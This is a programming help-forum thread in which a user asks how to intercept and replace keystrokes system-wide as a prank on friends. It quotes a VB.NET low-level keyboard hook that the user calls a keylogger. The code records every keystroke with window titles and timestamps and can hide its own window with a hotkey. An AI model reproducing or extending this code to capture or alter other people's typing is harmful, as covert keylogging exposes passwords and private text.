• Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 1500
  • Last Modified:

Stop input from keyboard and replace it. Outside a form

Hi guys, im trying to create a trick program that i can use to mess around with my mates.
Basically i want it to capture a key press and output a different one.

Im using revolts code and it is just a keylogger at present
http://revolt.hyperhub.info/blog.php?action=read&item=15

but i want to stop the key that has been pressed going to the application.

so if my firend was in notepad, when he typed 30 characters it would always display "i have had a prank played on me" - which is 30 characters long

there was a line in revolts code that i thought would do it but it doesnt.
Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications

Hooks code can be downloaded from his website
Private Function Hooked()
		Return KeyboardHandle <> 0 'If KeyboardHandle = 0 it means that it isn't hooked so return false, otherwise return true
	End Function
 
    ''' <summary>
    ''' Sets the keyboard hook
    ''' </summary>
    ''' <remarks></remarks>
	Public Sub HookKeyboard()
		callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
		KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
		If KeyboardHandle <> 0 Then
			Me.btnStop.Enabled = True
			Me.btnStart.Enabled = False
			Label1.Text = "Active"
			Label1.ForeColor = Color.DarkGreen
		End If
	End Sub
 
    ''' <summary>
    ''' Unsets the keyboard hook
    ''' </summary>
    ''' <remarks></remarks>
	Public Sub UnhookKeyboard()
		If (Hooked()) Then
			If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
				Label1.Text = "Not Active"
				Label1.ForeColor = Color.DarkRed
				Me.btnStop.Enabled = False
				Me.btnStart.Enabled = True
				KeyboardHandle = 0 'We have unhooked successfully
			End If
		End If
	End Sub
 
    ''' <summary>
    ''' Function to be called when there's a keyboard event
    ''' </summary>
    ''' <param name="Code">If this argument is lower than 0 you shouldn't block the event</param>
    ''' <param name="wParam">Type of event (Key UP/DOWN, etc.)</param>
    ''' <param name="lParam">Event Details</param>
    ''' <returns></returns>
    ''' <remarks></remarks>
	Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
 
		'Get current foreground window title
		Dim CurrentTitle = GetActiveWindowTitle()
 
		'If title of the foreground window changed
		If CurrentTitle <> LastCheckedForegroundTitle Then
			LastCheckedForegroundTitle = CurrentTitle
			'Add a little header containing the application title and date
			KeyLog &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") ------------" & vbCrLf
		End If
		
		'Variable to hold the text describing the key pressed
		Dim Key As String = ""
		
		'If event is KEYDOWN
		If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
			
			'If we can block events
			If Code >= 0 Then
				'If Ctrl+Alt+S
				If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = virtualKey.K_S Then
					Me.Visible = Not Me.Visible 'Hide/Show form
					Return 1 'Block event
				End If
			End If
			
			'Translate virtual key into character/expression
			Select Case lParam.vkCode
				Case virtualKey.K_0 To virtualKey.K_9
					Key = ChrW(lParam.vkCode)
				Case virtualKey.K_A To virtualKey.K_Z
					Key = ChrW(lParam.vkCode + 32)
				Case virtualKey.K_Space
					Key = " "
				Case virtualKey.K_RControl, virtualKey.K_LControl
					Key = "[control]"
				Case virtualKey.K_LAlt
					Key = "[alt]"
				Case virtualKey.K_RAlt
					Key = "[alt gr]"
				Case virtualKey.K_LShift, virtualKey.K_RShift
					Key = "[shift]"
				Case virtualKey.K_Return
					Key = vbCrLf
				Case virtualKey.K_Tab
					Key = vbTab
				Case virtualKey.K_Delete
					Key = "[delete]"
				Case virtualKey.K_Esc
					Key = "[esc]"
				Case virtualKey.K_CapsLock
					If My.Computer.Keyboard.CapsLock Then
						Key = "[/caps]"
					Else
						Key = "[caps]"
					End If
				Case virtualKey.K_F1 To virtualKey.K_F24
					Key = "[F" & (lParam.vkCode - 111) & "]"
				Case virtualKey.K_Right
					Key = "[Right Arrow]"
				Case virtualKey.K_Down
					Key = "[Down Arrow]"
				Case virtualKey.K_Left
					Key = "[Left Arrow]"
				Case virtualKey.K_Up
					Key = "[Up Arrow]"
				Case virtualKey.K_Backspace
					Key = "[bkspace]"
				Case virtualKey.K_Decimal, virtualKey.K_Num_Decimal
					Key = "."
				Case virtualKey.K_Subtract, virtualKey.K_Num_Subtract
					Key = "-"
				Case Else
					Key = lParam.vkCode 'If we didn't treat it, show the virtual key code (integer) so that we know what Case to add
			End Select
 
		'If event is Key UP
		ElseIf wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
			Select Case lParam.vkCode
				Case virtualKey.K_RControl, virtualKey.K_LControl
					Key = "[/control]"
				Case virtualKey.K_LAlt
					Key = "[/alt]"
				Case virtualKey.K_RAlt
					Key = "[/alt gr]"
				Case virtualKey.K_LShift, virtualKey.K_RShift
					Key = "[/shift]"
			End Select
 
		End If
 
		'Add it to the log
		KeyLog &= Key
		If Key <> "" Then
			Me.ListBox1.Items.Add(Key) 'Add it to the listbox for debugging purposes
		End If
 
		Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications
 
	End Function

Open in new window

0
dajoebomb
Asked:
dajoebomb
  • 2
1 Solution
 
dajoebombAuthor Commented:
Points increased again to 500!!!!
0
 
dajoebombAuthor Commented:
http://revolt.hyperhub.info/blog.php?action=read&item=15
Sorted it out myself seems as no one is interested in 500 points.
0

Featured Post

Vote for the Most Valuable Expert

It’s time to recognize experts that go above and beyond with helpful solutions and engagement on site. Choose from the top experts in the Hall of Fame or on the right rail of your favorite topic page. Look for the blue “Nominate” button on their profile to vote.

  • 2
Tackle projects and never again get stuck behind a technical roadblock.
Join Now